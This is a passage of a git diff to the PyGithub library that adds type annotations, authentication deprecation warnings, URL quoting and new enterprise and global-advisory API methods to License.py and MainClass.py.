0b1df082e5..dfe8a95fc7 100644 --- a/github/License.py +++ b/github/License.py @@ -1,6 +1,25 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2017 Aaron Levine # +# Copyright 2017 Mike Miller # +# Copyright 2018 Darragh Bailey # # Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,119 +39,90 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations +from typing import Any -class License(github.GithubObject.CompletableGithubObject): +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + + +class License(CompletableGithubObject): """ This class represents Licenses. The reference can be found here https://docs.github.com/en/rest/reference/licenses """ - def __repr__(self): + def _initAttributes(self) -> None: + self._key: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + self._spdx_id: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._description: Attribute[str] = NotSet + self._implementation: Attribute[str] = NotSet + self._body: Attribute[str] = NotSet + self._permissions: Attribute[list[str]] = NotSet + self._conditions: Attribute[list[str]] = NotSet + self._limitations: Attribute[list[str]] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property - def key(self): - """ - :type: string - """ + def key(self) -> str: self._completeIfNotSet(self._key) return self._key.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def spdx_id(self): - """ - :type: string - """ + def spdx_id(self) -> str: self._completeIfNotSet(self._spdx_id) return self._spdx_id.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property - def implementation(self): - """ - :type: string - """ + def implementation(self) -> str: self._completeIfNotSet(self._implementation) return self._implementation.value @property - def body(self): - """ - :type: string - """ + def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property - def permissions(self): - """ - :type: list of string - """ + def permissions(self) -> list[str]: self._completeIfNotSet(self._permissions) return self._permissions.value @property - def conditions(self): - """ - :type: list of string - """ + def conditions(self) -> list[str]: self._completeIfNotSet(self._conditions) return self._conditions.value @property - def limitations(self): - """ - :type: list of string - """ + def limitations(self) -> list[str]: self._completeIfNotSet(self._limitations) return self._limitations.value - def _initAttributes(self): - self._key = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._spdx_id = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._implementation = github.GithubObject.NotSet - self._body = github.GithubObject.NotSet - self._permissions = github.GithubObject.NotSet - self._conditions = github.GithubObject.NotSet - self._limitations = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "key" in attributes: # pragma no branch self._key = self._makeStringAttribute(attributes["key"]) if "name" in attributes: # pragma no branch @@ -146,20 +136,12 @@ def _useAttributes(self, attributes): if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "implementation" in attributes: # pragma no branch - self._implementation = self._makeStringAttribute( - attributes["implementation"] - ) + self._implementation = self._makeStringAttribute(attributes["implementation"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "permissions" in attributes: # pragma no branch - self._permissions = self._makeListOfStringsAttribute( - attributes["permissions"] - ) + self._permissions = self._makeListOfStringsAttribute(attributes["permissions"]) if "conditions" in attributes: # pragma no branch - self._conditions = self._makeListOfStringsAttribute( - attributes["conditions"] - ) + self._conditions = self._makeListOfStringsAttribute(attributes["conditions"]) if "limitations" in attributes: # pragma no branch - self._limitations = self._makeListOfStringsAttribute( - attributes["limitations"] - ) + self._limitations = self._makeListOfStringsAttribute(attributes["limitations"]) diff --git a/github/License.pyi b/github/License.pyi deleted file mode 100644 index b8956f867f..0000000000 --- a/github/License.pyi +++ /dev/null @@ -1,30 +0,0 @@ -from typing import Any, Dict, List - -from github.GithubObject import CompletableGithubObject - -class License(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def body(self) -> str: ... - @property - def conditions(self) -> List[str]: ... - @property - def description(self) -> str: ... - @property - def html_url(self) -> str: ... - @property - def implementation(self) -> str: ... - @property - def key(self) -> str: ... - @property - def limitations(self) -> List[str]: ... - @property - def name(self) -> str: ... - @property - def permissions(self) -> List[str]: ... - @property - def url(self) -> str: ... - @property - def spdx_id(self) -> str: ... diff --git a/github/MainClass.py b/github/MainClass.py index 6fdef77062..f90cdc56e0 100644 --- a/github/MainClass.py +++ b/github/MainClass.py @@ -1,9 +1,14 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Dima Kukushkin # +# Copyright 2012 Luke Cawood # +# Copyright 2012 Michael Woodworth # +# Copyright 2012 Steve English # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Ed Jackson # # Copyright 2013 Jonathan J Hunt # -# Copyright 2013 Peter Golm # # Copyright 2013 Steve Brown # # Copyright 2013 Vincent Jacques # # Copyright 2014 C. R. Oldham # @@ -13,21 +18,57 @@ # Copyright 2015 Daniel Pocock # # Copyright 2015 Joseph Rawson # # Copyright 2015 Uriel Corfa # -# Copyright 2015 edhollandAL # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Colin Hoglund # # Copyright 2017 Jannis Gebauer # # Copyright 2018 Agor Maxime # +# Copyright 2018 Arda Kuyumcu # +# Copyright 2018 Benoit Latinier # +# Copyright 2018 Bruce Richardson # # Copyright 2018 Joshua Hoblitt # # Copyright 2018 Maarten Fonville # # Copyright 2018 Mike Miller # +# Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # +# Copyright 2018 Steve Kowalik # # Copyright 2018 Svend Sorensen # # Copyright 2018 Wan Liuyang # +# Copyright 2018 Yossarian King # +# Copyright 2018 h.shi <10385628+AnYeMoWang@users.noreply.github.com> # # Copyright 2018 sfdye # -# Copyright 2018 itsbruce # -# Copyright 2019 Tomas Tomecek # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Caleb Sweeney # +# Copyright 2019 Hamel Husain # +# Copyright 2019 Isac Souza # +# Copyright 2019 Jake Klingensmith # +# Copyright 2019 Jake Wilkins # # Copyright 2019 Rigas Papathanasopoulos # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Tomas Tomecek # +# Copyright 2019 Wan Liuyang # +# Copyright 2019 chillipeper # +# Copyright 2019 秋葉 # +# Copyright 2020 Alice GIRARD # +# Copyright 2020 Denis Blanchette # +# Copyright 2020 Florent Clarret # +# Copyright 2020 Mahesh Raju # +# Copyright 2020 Nikolay Edigaryev # +# Copyright 2020 Omar Brikaa # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Amador Pahim # +# Copyright 2021 Mark Walker # +# Copyright 2021 Sachi King # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Denis Blanchette # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Hemslo Wang # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # +# Copyright 2023 Joseph Henrich # +# Copyright 2023 Mark Amery # +# Copyright 2023 Trim21 # +# Copyright 2023 YugoHino # +# Copyright 2023 chantra # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -47,30 +88,62 @@ # # ################################################################################ -import datetime +from __future__ import annotations + import pickle +import urllib.parse +import warnings +from datetime import datetime +from typing import TYPE_CHECKING, Any, BinaryIO, TypeVar import urllib3 +from urllib3.util import Retry import github.ApplicationOAuth +import github.Auth +import github.AuthenticatedUser +import github.Enterprise import github.Event import github.Gist -import github.GithubObject +import github.GithubApp +import github.GithubIntegration +import github.GithubRetry +import github.GitignoreTemplate +import github.GlobalAdvisory import github.License import github.NamedUser -import github.PaginatedList import github.Topic - -from . import ( - AuthenticatedUser, - Consts, - GithubApp, - GitignoreTemplate, - HookDescription, - RateLimit, - Repository, -) -from .Requester import Requester +from github import Consts +from github.GithubIntegration import GithubIntegration +from github.GithubObject import GithubObject, NotSet, Opt, is_defined +from github.GithubRetry import GithubRetry +from github.HookDelivery import HookDelivery, HookDeliverySummary +from github.HookDescription import HookDescription +from github.PaginatedList import PaginatedList +from github.RateLimit import RateLimit +from github.Requester import Requester + +if TYPE_CHECKING: + from github.AppAuthentication import AppAuthentication + from github.ApplicationOAuth import ApplicationOAuth + from github.AuthenticatedUser import AuthenticatedUser + from github.Commit import Commit + from github.ContentFile import ContentFile + from github.Event import Event + from github.Gist import Gist + from github.GithubApp import GithubApp + from github.GitignoreTemplate import GitignoreTemplate + from github.GlobalAdvisory import GlobalAdvisory + from github.Issue import Issue + from github.License import License + from github.NamedUser import NamedUser + from github.Organization import Organization + from github.Project import Project + from github.ProjectColumn import ProjectColumn + from github.Repository import Repository + from github.Topic import Topic + +TGithubObject = TypeVar("TGithubObject", bound=GithubObject) class Github: @@ -78,32 +151,49 @@ class Github: This is the main class you instantiate to access the Github API v3. Optional parameters allow different authentication methods. """ + __requester: Requester + + default_retry = GithubRetry() + + # keep non-deprecated arguments in-sync with Requester + # v3: remove login_or_token, password, jwt and app_auth + # v3: move auth to the front of arguments + # v3: add * before first argument so all arguments must be named, + # allows to reorder / add new arguments / remove deprecated arguments without breaking user code def __init__( self, - login_or_token=None, - password=None, - jwt=None, - app_auth=None, - base_url=Consts.DEFAULT_BASE_URL, - timeout=Consts.DEFAULT_TIMEOUT, - user_agent="PyGithub/Python", - per_page=Consts.DEFAULT_PER_PAGE, - verify=True, - retry=None, - pool_size=None, - ): - """ - :param login_or_token: string - :param password: string - :param jwt: string - :param app_auth: github.AppAuthentication + login_or_token: str | None = None, + password: str | None = None, + jwt: str | None = None, + app_auth: AppAuthentication | None = None, + base_url: str = Consts.DEFAULT_BASE_URL, + timeout: int = Consts.DEFAULT_TIMEOUT, + user_agent: str = Consts.DEFAULT_USER_AGENT, + per_page: int = Consts.DEFAULT_PER_PAGE, + verify: bool | str = True, + retry: int | Retry | None = default_retry, + pool_size: int | None = None, + seconds_between_requests: float | None = Consts.DEFAULT_SECONDS_BETWEEN_REQUESTS, + seconds_between_writes: float | None = Consts.DEFAULT_SECONDS_BETWEEN_WRITES, + auth: github.Auth.Auth | None = None, + ) -> None: + """ + :param login_or_token: string deprecated, use auth=github.Auth.Login(...) or auth=github.Auth.Token(...) instead + :param password: string deprecated, use auth=github.Auth.Login(...) instead + :param jwt: string deprecated, use auth=github.Auth.AppAuth(...) or auth=github.Auth.AppAuthToken(...) instead + :param app_auth: github.AppAuthentication deprecated, use auth=github.Auth.AppInstallationAuth(...) instead :param base_url: string :param timeout: integer :param user_agent: string :param per_page: int :param verify: boolean or string - :param retry: int or urllib3.util.retry.Retry object + :param retry: int or urllib3.util.retry.Retry object, + defaults to github.Github.default_retry, + set to None to disable retries :param pool_size: int + :param seconds_between_requests: float + :param seconds_between_writes: float + :param auth: authentication method """ assert login_or_token is None or isinstance(login_or_token, str), login_or_token @@ -112,18 +202,44 @@ def __init__( assert isinstance(base_url, str), base_url assert isinstance(timeout, int), timeout assert user_agent is None or isinstance(user_agent, str), user_agent - assert ( - retry is None - or isinstance(retry, int) - or isinstance(retry, urllib3.util.Retry) - ), retry + assert isinstance(per_page, int), per_page + assert isinstance(verify, (bool, str)), verify + assert retry is None or isinstance(retry, int) or isinstance(retry, urllib3.util.Retry), retry assert pool_size is None or isinstance(pool_size, int), pool_size + assert seconds_between_requests is None or seconds_between_requests >= 0 + assert seconds_between_writes is None or seconds_between_writes >= 0 + assert auth is None or isinstance(auth, github.Auth.Auth), auth + + if password is not None: + warnings.warn( + "Arguments login_or_token and password are deprecated, please use " + "auth=github.Auth.Login(...) instead", + category=DeprecationWarning, + ) + auth = github.Auth.Login(login_or_token, password) # type: ignore + elif login_or_token is not None: + warnings.warn( + "Argument login_or_token is deprecated, please use " "auth=github.Auth.Token(...) instead", + category=DeprecationWarning, + ) + auth = github.Auth.Token(login_or_token) + elif jwt is not None: + warnings.warn( + "Argument jwt is deprecated, please use " + "auth=github.Auth.AppAuth(...) or " + "auth=github.Auth.AppAuthToken(...) instead", + category=DeprecationWarning, + ) + auth = github.Auth.AppAuthToken(jwt) + elif app_auth is not None: + warnings.warn( + "Argument app_auth is deprecated, please use " "auth=github.Auth.AppInstallationAuth(...) instead", + category=DeprecationWarning, + ) + auth = app_auth self.__requester = Requester( - login_or_token, - password, - jwt, - app_auth, + auth, base_url, timeout, user_agent, @@ -131,40 +247,51 @@ def __init__( verify, retry, pool_size, + seconds_between_requests, + seconds_between_writes, ) - @property - def FIX_REPO_GET_GIT_REF(self): + def close(self) -> None: """ - :type: bool + Close connections to the server. Alternatively, use the Github object as a context manager: + + .. code-block:: python + + with github.Github(...) as gh: + # do something """ + self.__requester.close() + + def __enter__(self) -> Github: + return self + + def __exit__(self, exc_type: Any, exc_val: Any, exc_tb: Any) -> None: + self.close() + + @property + def FIX_REPO_GET_GIT_REF(self) -> bool: return self.__requester.FIX_REPO_GET_GIT_REF @FIX_REPO_GET_GIT_REF.setter - def FIX_REPO_GET_GIT_REF(self, value): + def FIX_REPO_GET_GIT_REF(self, value: bool) -> None: self.__requester.FIX_REPO_GET_GIT_REF = value - # v2: Remove this property? Why should it be necessary to read/modify it after construction + # v3: Remove this property? Why should it be necessary to read/modify it after construction @property - def per_page(self): - """ - :type: int - """ + def per_page(self) -> int: return self.__requester.per_page @per_page.setter - def per_page(self, value): + def per_page(self, value: int) -> None: self.__requester.per_page = value - # v2: Provide a unified way to access values of headers of last response - # v2: (and add/keep ad hoc properties for specific useful headers like rate limiting, oauth scopes, etc.) - # v2: Return an instance of a class: using a tuple did not allow to add a field "resettime" + # v3: Provide a unified way to access values of headers of last response + # v3: (and add/keep ad hoc properties for specific useful headers like rate limiting, oauth scopes, etc.) + # v3: Return an instance of a class: using a tuple did not allow to add a field "resettime" @property - def rate_limiting(self): + def rate_limiting(self) -> tuple[int, int]: """ First value is requests remaining, second value is request limit. - - :type: (int, int) """ remaining, limit = self.__requester.rate_limiting if limit < 0: @@ -172,94 +299,69 @@ def rate_limiting(self): return self.__requester.rate_limiting @property - def rate_limiting_resettime(self): + def rate_limiting_resettime(self) -> int: """ Unix timestamp indicating when rate limiting will reset. - - :type: int """ if self.__requester.rate_limiting_resettime == 0: self.get_rate_limit() return self.__requester.rate_limiting_resettime - def get_rate_limit(self): + def get_rate_limit(self) -> RateLimit: """ Rate limit status for different resources (core/search/graphql). :calls: `GET /rate_limit `_ - :rtype: :class:`github.RateLimit.RateLimit` """ headers, data = self.__requester.requestJsonAndCheck("GET", "/rate_limit") - return RateLimit.RateLimit(self.__requester, headers, data["resources"], True) + return RateLimit(self.__requester, headers, data["resources"], True) @property - def oauth_scopes(self): + def oauth_scopes(self) -> list[str] | None: """ :type: list of string """ return self.__requester.oauth_scopes - @property - def clone_credentials(self): - """Available only for GitHub App authentication. - Get the credentials needed to authenticate HTTP requests to clone repositories - https://docs.github.com/en/developers/apps/building-github-apps/authenticating-with-github-apps#http-based-git-access-by-an-installation - """ - return self.__requester.clone_credentials - - def get_license(self, key=github.GithubObject.NotSet): + def get_license(self, key: Opt[str] = NotSet) -> License: """ :calls: `GET /license/{license} `_ - :param key: string - :rtype: :class:`github.License.License` """ assert isinstance(key, str), key + key = urllib.parse.quote(key) headers, data = self.__requester.requestJsonAndCheck("GET", f"/licenses/{key}") return github.License.License(self.__requester, headers, data, completed=True) - def get_licenses(self): + def get_licenses(self) -> PaginatedList[License]: """ :calls: `GET /licenses `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.License.License` """ - url_parameters = dict() + url_parameters: dict[str, Any] = {} - return github.PaginatedList.PaginatedList( - github.License.License, self.__requester, "/licenses", url_parameters - ) + return PaginatedList(github.License.License, self.__requester, "/licenses", url_parameters) - def get_events(self): + def get_events(self) -> PaginatedList[Event]: """ :calls: `GET /events `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Event.Event` """ - return github.PaginatedList.PaginatedList( - github.Event.Event, self.__requester, "/events", None - ) + return PaginatedList(github.Event.Event, self.__requester, "/events", None) - def get_user(self, login=github.GithubObject.NotSet): + def get_user(self, login: Opt[str] = NotSet) -> NamedUser | AuthenticatedUser: """ :calls: `GET /users/{user} `_ or `GET /user `_ - :param login: string - :rtype: :class:`github.NamedUser.NamedUser` or :class:`github.AuthenticatedUser.AuthenticatedUser` """ - assert login is github.GithubObject.NotSet or isinstance(login, str), login - if login is github.GithubObject.NotSet: - return AuthenticatedUser.AuthenticatedUser( - self.__requester, {}, {"url": "/user"}, completed=False - ) + if login is NotSet: + return github.AuthenticatedUser.AuthenticatedUser(self.__requester, {}, {"url": "/user"}, completed=False) else: - headers, data = self.__requester.requestJsonAndCheck( - "GET", f"/users/{login}" - ) - return github.NamedUser.NamedUser( - self.__requester, headers, data, completed=True - ) + assert isinstance(login, str), login + login = urllib.parse.quote(login) + headers, data = self.__requester.requestJsonAndCheck("GET", f"/users/{login}") + return github.NamedUser.NamedUser(self.__requester, headers, data, completed=True) - def get_user_by_id(self, user_id): + def get_user_by_id(self, user_id: int) -> NamedUser: """ :calls: `GET /user/{id} `_ :param user_id: int @@ -267,170 +369,262 @@ def get_user_by_id(self, user_id): """ assert isinstance(user_id, int), user_id headers, data = self.__requester.requestJsonAndCheck("GET", f"/user/{user_id}") - return github.NamedUser.NamedUser( - self.__requester, headers, data, completed=True - ) + return github.NamedUser.NamedUser(self.__requester, headers, data, completed=True) - def get_users(self, since=github.GithubObject.NotSet): + def get_users(self, since: Opt[int] = NotSet) -> PaginatedList[NamedUser]: """ :calls: `GET /users `_ - :param since: integer - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` """ - assert since is github.GithubObject.NotSet or isinstance(since, int), since + assert since is NotSet or isinstance(since, int), since url_parameters = dict() - if since is not github.GithubObject.NotSet: + if since is not NotSet: url_parameters["since"] = since - return github.PaginatedList.PaginatedList( - github.NamedUser.NamedUser, self.__requester, "/users", url_parameters - ) + return PaginatedList(github.NamedUser.NamedUser, self.__requester, "/users", url_parameters) - def get_organization(self, login): + def get_organization(self, login: str) -> Organization: """ :calls: `GET /orgs/{org} `_ - :param login: string - :rtype: :class:`github.Organization.Organization` """ assert isinstance(login, str), login + login = urllib.parse.quote(login) headers, data = self.__requester.requestJsonAndCheck("GET", f"/orgs/{login}") - return github.Organization.Organization( - self.__requester, headers, data, completed=True - ) + return github.Organization.Organization(self.__requester, headers, data, completed=True) - def get_organizations(self, since=github.GithubObject.NotSet): + def get_organizations(self, since: Opt[int] = NotSet) -> PaginatedList[Organization]: """ :calls: `GET /organizations `_ - :param since: integer - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Organization.Organization` """ - assert since is github.GithubObject.NotSet or isinstance(since, int), since + assert since is NotSet or isinstance(since, int), since url_parameters = dict() - if since is not github.GithubObject.NotSet: + if since is not NotSet: url_parameters["since"] = since - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Organization.Organization, self.__requester, "/organizations", url_parameters, ) - def get_repo(self, full_name_or_id, lazy=False): + def get_enterprise(self, enterprise: str) -> github.Enterprise.Enterprise: + """ + :calls: `GET /enterprises/{enterprise} `_ + :param enterprise: string + :rtype: :class:`Enterprise` + """ + assert isinstance(enterprise, str), enterprise + # There is no native "/enterprises/{enterprise}" api, so this function is a hub for apis that start with "/enterprise/{enterprise}". + return github.Enterprise.Enterprise(self.__requester, enterprise) + + def get_repo(self, full_name_or_id: int | str, lazy: bool = False) -> Repository: """ :calls: `GET /repos/{owner}/{repo} `_ or `GET /repositories/{id} `_ - :rtype: :class:`github.Repository.Repository` """ assert isinstance(full_name_or_id, (str, int)), full_name_or_id url_base = "/repositories/" if isinstance(full_name_or_id, int) else "/repos/" url = f"{url_base}{full_name_or_id}" if lazy: - return Repository.Repository( - self.__requester, {}, {"url": url}, completed=False - ) + return github.Repository.Repository(self.__requester, {}, {"url": url}, completed=False) headers, data = self.__requester.requestJsonAndCheck("GET", url) - return Repository.Repository(self.__requester, headers, data, completed=True) + return github.Repository.Repository(self.__requester, headers, data, completed=True) def get_repos( - self, since=github.GithubObject.NotSet, visibility=github.GithubObject.NotSet - ): + self, + since: Opt[int] = NotSet, + visibility: Opt[str] = NotSet, + ) -> PaginatedList[Repository]: """ :calls: `GET /repositories `_ :param since: integer :param visibility: string ('all','public') - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` """ - assert since is github.GithubObject.NotSet or isinstance(since, int), since - url_parameters = dict() - if since is not github.GithubObject.NotSet: + assert since is NotSet or isinstance(since, int), since + url_parameters: dict[str, Any] = {} + if since is not NotSet: url_parameters["since"] = since - if visibility is not github.GithubObject.NotSet: + if visibility is not NotSet: assert visibility in ("public", "all"), visibility url_parameters["visibility"] = visibility - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Repository.Repository, self.__requester, "/repositories", url_parameters, ) - def get_project(self, id): + def get_project(self, id: int) -> Project: """ :calls: `GET /projects/{project_id} `_ - :rtype: :class:`github.Project.Project` - :param id: integer """ headers, data = self.__requester.requestJsonAndCheck( "GET", - "/projects/%d" % (id), + f"/projects/{id:d}", headers={"Accept": Consts.mediaTypeProjectsPreview}, ) return github.Project.Project(self.__requester, headers, data, completed=True) - def get_project_column(self, id): + def get_project_column(self, id: int) -> ProjectColumn: """ :calls: `GET /projects/columns/{column_id} `_ - :rtype: :class:`github.ProjectColumn.ProjectColumn` - :param id: integer """ headers, data = self.__requester.requestJsonAndCheck( "GET", "/projects/columns/%d" % id, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) - return github.ProjectColumn.ProjectColumn( - self.__requester, headers, data, completed=True - ) + return github.ProjectColumn.ProjectColumn(self.__requester, headers, data, completed=True) - def get_gist(self, id): + def get_gist(self, id: str) -> Gist: """ :calls: `GET /gists/{id} `_ - :param id: string - :rtype: :class:`github.Gist.Gist` """ assert isinstance(id, str), id headers, data = self.__requester.requestJsonAndCheck("GET", f"/gists/{id}") return github.Gist.Gist(self.__requester, headers, data, completed=True) - def get_gists(self, since=github.GithubObject.NotSet): + def get_gists(self, since: Opt[datetime] = NotSet) -> PaginatedList[Gist]: """ :calls: `GET /gists/public `_ - :param since: datetime.datetime format YYYY-MM-DDTHH:MM:SSZ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Gist.Gist` """ - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since + assert since is NotSet or isinstance(since, datetime), since url_parameters = dict() - if since is not github.GithubObject.NotSet: + if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") + return PaginatedList(github.Gist.Gist, self.__requester, "/gists/public", url_parameters) + + def get_global_advisory(self, ghsa_id: str) -> GlobalAdvisory: + """ + :calls: `GET /advisories/{ghsa_id} `_ + :param ghsa_id: string + :rtype: :class:`github.GlobalAdvisory.GlobalAdvisory` + """ + assert isinstance(ghsa_id, str), ghsa_id + ghsa_id = urllib.parse.quote(ghsa_id) + headers, data = self.__requester.requestJsonAndCheck("GET", f"/advisories/{ghsa_id}") + return github.GlobalAdvisory.GlobalAdvisory(self.__requester, headers, data, completed=True) + + def get_global_advisories( + self, + type: Opt[str] = NotSet, + ghsa_id: Opt[str] = NotSet, + cve_id: Opt[str] = NotSet, + ecosystem: Opt[str] = NotSet, + severity: Opt[str] = NotSet, + cwes: list[Opt[str]] | Opt[str] = NotSet, + is_withdrawn: Opt[bool] = NotSet, + affects: list[str] | Opt[str] = NotSet, + published: Opt[str] = NotSet, + updated: Opt[str] = NotSet, + modified: Opt[str] = NotSet, + keywords: Opt[str] = NotSet, + before: Opt[str] = NotSet, + after: Opt[str] = NotSet, + per_page: Opt[str] = NotSet, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + ) -> PaginatedList[GlobalAdvisory]: + """ + :calls: `GET /advisories ` + :param type: Optional string + :param ghsa_id: Optional string + :param cve_id: Optional string + :param ecosystem: Optional string + :param severity: Optional string + :param cwes: Optional comma separated string or list of integer or string + :param is_withdrawn: Optional bool + :param affects: Optional comma separated string or list of string + :param published: Optional string + :param updated: Optional string + :param modified: Optional string + :param before: Optional string + :param after: Optional string + :param sort: Optional string + :param direction: Optional string + :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.GlobalAdvisory.GlobalAdvisory` + """ + assert type is github.GithubObject.NotSet or isinstance(type, str), type + assert ghsa_id is github.GithubObject.NotSet or isinstance(ghsa_id, str) + assert cve_id is github.GithubObject.NotSet or isinstance(cve_id, str), cve_id + assert ecosystem is github.GithubObject.NotSet or isinstance(ecosystem, str), ecosystem + assert severity is github.GithubObject.NotSet or isinstance(severity, str), severity + assert cwes is github.GithubObject.NotSet or isinstance(cwes, list) or isinstance(cwes, str), cwes + assert is_withdrawn is github.GithubObject.NotSet or isinstance(is_withdrawn, bool), is_withdrawn + assert affects is github.GithubObject.NotSet or isinstance(affects, list) or isinstance(affects, str), affects + assert published is github.GithubObject.NotSet or isinstance(published, str), published + assert updated is github.GithubObject.NotSet or isinstance(updated, str), updated + assert modified is github.GithubObject.NotSet or isinstance(modified, str), modified + assert before is github.GithubObject.NotSet or isinstance(before, str), before + assert after is github.GithubObject.NotSet or isinstance(after, str), after + assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort + assert direction is github.GithubObject.NotSet or isinstance(direction, str), direction + + url_parameters: dict[str, Opt[str | bool]] = dict() + if type is not github.GithubObject.NotSet: # pragma no branch (Should be covered) + assert type in ("reviewed", "unreviewed", "malware"), type + url_parameters["type"] = type + if ghsa_id is not github.GithubObject.NotSet: + url_parameters["ghsa_id"] = ghsa_id + if cve_id is not github.GithubObject.NotSet: + url_parameters["cve_id"] = cve_id + # Can be one of: actions, composer, erlang, go, maven, npm, nuget, other, pip, pub, rubygems, rust + # Not asserting in that list so that the package doesn't need to be updated when a new ecosystem is added + if ecosystem is not github.GithubObject.NotSet: + url_parameters["ecosystem"] = ecosystem + if severity is not github.GithubObject.NotSet: + assert severity in ("null", "low", "medium", "high", "critical"), severity + url_parameters["severity"] = severity + if cwes is not github.GithubObject.NotSet: + if isinstance(cwes, list): + cwes = ",".join([str(cwe) for cwe in cwes]) + url_parameters["cwes"] = cwes + if is_withdrawn is not github.GithubObject.NotSet: + url_parameters["is_withdrawn"] = is_withdrawn + if affects is not github.GithubObject.NotSet: + if isinstance(affects, list): + affects = ",".join(affects) + url_parameters["affects"] = affects + if published is not github.GithubObject.NotSet: + url_parameters["published"] = published + if updated is not github.GithubObject.NotSet: + url_parameters["updated"] = updated + if modified is not github.GithubObject.NotSet: + url_parameters["modified"] = modified + if before is not github.GithubObject.NotSet: + url_parameters["before"] = before + if after is not github.GithubObject.NotSet: + url_parameters["after"] = after + if sort is not github.GithubObject.NotSet: + assert sort in ("published", "updated"), sort + url_parameters["sort"] = sort + if direction is not github.GithubObject.NotSet: + assert direction in ("asc", "desc"), direction + url_parameters["direction"] = direction return github.PaginatedList.PaginatedList( - github.Gist.Gist, self.__requester, "/gists/public", url_parameters + github.GlobalAdvisory.GlobalAdvisory, + self.__requester, + "/advisories", + url_parameters, ) def search_repositories( self, - query, - sort=github.GithubObject.NotSet, - order=github.GithubObject.NotSet, - **qualifiers, - ): + query: str, + sort: Opt[str] = NotSet, + order: Opt[str] = NotSet, + **qualifiers: Any, + ) -> PaginatedList[Repository]: """ :calls: `GET /search/repositories `_ :param query: string :param sort: string ('stars', 'forks', 'updated') :param order: string ('asc', 'desc') :param qualifiers: keyword dict query qualifiers - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` """ assert isinstance(query, str), query url_parameters = dict() - if ( - sort is not github.GithubObject.NotSet - ): # pragma no branch (Should be covered) + if sort is not NotSet: # pragma no branch (Should be covered) assert sort in ("stars", "forks", "updated"), sort url_parameters["sort"] = sort - if ( - order is not github.GithubObject.NotSet - ): # pragma no branch (Should be covered) + if order is not NotSet: # pragma no branch (Should be covered) assert order in ("asc", "desc"), order url_parameters["order"] = order @@ -444,7 +638,7 @@ def search_repositories( url_parameters["q"] = " ".join(query_chunks) assert url_parameters["q"], "need at least one qualifier" - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Repository.Repository, self.__requester, "/search/repositories", @@ -453,25 +647,25 @@ def search_repositories( def search_users( self, - query, - sort=github.GithubObject.NotSet, - order=github.GithubObject.NotSet, - **qualifiers, - ): + query: str, + sort: Opt[str] = NotSet, + order: Opt[str] = NotSet, + **qualifiers: Any, + ) -> PaginatedList[NamedUser]: """ :calls: `GET /search/users `_ :param query: string :param sort: string ('followers', 'repositories', 'joined') :param order: string ('asc', 'desc') :param qualifiers: keyword dict query qualifiers - :rtype: :class:`github.PaginatedList.PaginatedList` of 